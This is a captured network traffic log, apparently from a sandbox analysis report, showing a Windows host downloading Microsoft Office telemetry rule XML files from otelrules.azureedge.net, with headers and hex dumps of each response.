2024-11-02 06:16:17 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	63842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:17 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:17 UTC	517	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:17 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: ea16d2af-801e-00a0-7809-2c2196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061617Z-16dc884887bqz426hC1DFWhv2000000001mg0000000070hm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:17 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	63844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:18 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:18 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:18 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 6c1a7e39-101e-00a2-7b09-2c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061618Z-16ccfc49897774xmhC1DFWuraw00000001qg000000000g46 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:18 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	63848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:18 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:18 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:18 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 3ed94d04-001e-0065-2e09-2c0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061618Z-16dc884887b9h6dlhC1DFW8rmg00000001ng0000000005e2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:18 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	63845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:18 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:18 UTC	517	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:18 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: d548d899-c01e-00ad-0809-2ca2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061618Z-16dc884887bkpzdnhC1DFWbc3n00000001ng00000000d1p7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:18 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	63846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:18 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:18 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:18 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: cce89326-d01e-0065-2b38-2bb77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061618Z-16ccfc49897jxxn9hC1DFWexyc00000001p000000000467k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:18 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	63847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:18 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:18 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:18 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 09d23618-001e-000b-0deb-2b15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061618Z-16ccfc498979lfwnhC1DFW56w800000001t000000000ab0p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:18 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	63849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:19 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:19 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:19 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 1cb8ce88-301e-0033-7f09-2cfa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061619Z-16ccfc49897b872mhC1DFWqtb000000001mg00000000dt1n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:19 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	63851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:19 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:19 UTC	517	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:19 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 130c4350-101e-000b-3e0f-2c5e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061619Z-176bd8f9bc5nsp7rhC1DFWgzkc000000018g0000000010za x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:19 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	63850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:19 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:19 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:19 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 4fba8623-501e-0064-4a33-2b1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061619Z-16ccfc498972c2r2hC1DFWxq6800000001hg00000000n26h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:19 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	63853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:19 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:19 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:19 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: ac318a39-301e-0000-294e-2ceecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061619Z-r159446fcd7dm7pfhC1DFWkcfc00000000wg000000007zgm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-02 06:16:19 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	63852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:19 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:19 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:19 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 5d175d43-b01e-0084-050f-2cd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061619Z-r159446fcd7rrql5hC1DFWp150000000019g000000005du1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:19 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

